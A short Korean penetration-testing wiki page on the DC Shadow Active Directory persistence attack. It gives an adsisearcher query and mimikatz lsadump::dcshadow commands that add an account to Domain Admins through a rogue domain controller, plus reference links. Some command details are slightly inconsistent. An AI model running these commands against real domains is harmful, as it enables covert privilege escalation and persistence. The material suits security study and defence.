> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/persistence/active-directory/dc-shadow.md).

# DC Shadow

DC Shadow는 공격자가 도메인의 관리자 권한을 획득한 이후에 DC의 권한을 이용하여 도메인 내의 정보를 변경한 뒤, MS-DRSR을 통해 다른 컨트롤러와의 정보 동기화를 이용하여 해당 도메인 전체에 대한 객체 정보를 변경하는 공격입니다. 아직까지 공개된 PoC는 존재하지 않기 때문에 도메인 관리자 파워쉘과 시스템 권한의 파워쉘에서 mimikatz 사용이 요구됩니다.

## Practice

사용자 객체 정보를 변경하기 위해서는 형식을 지정해줘야 하기 때문에 형식을 확인합니다. 확인된 이후에는 변경하고자 하는 객체의 속성을 변경한 뒤 적용시켜줍니다. 시스템 쉘과 관리자 쉘 두가지가 필요하며, 두가지 쉘에서 해야 하는 명령어가 다르기 때문에 코드 실행에 주의합니다.

<pre class="language-powershell"><code class="lang-powershell"><strong># 객체 정보 조회
</strong>([adsisearcher]"(&#x26;(objectCategory=user)(name=wiki))").Findall().Properties

<strong># 조회한 정보를 토대로 정보 변경 (System 쉘의 mimikatz)
</strong>lsadump::dcshadow /object:CN=wiki,CN=Computers,DC=pentesting,DC=wiki /attribute:memberOf /value:"Domain Admins"

<strong># 변경한 정보를 최종 커밋 (Administrator 쉘의 mimikatz)
</strong>dcshadow /push
</code></pre>

## References

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-creating-rogue-domain-controllers-with-dcshadow>" %}

{% embed url="<https://blog.netwrix.com/2022/09/28/dcshadow_attack/>" %}

{% embed url="<https://www.thehacker.recipes/ad/persistence/dcshadow/>" %}
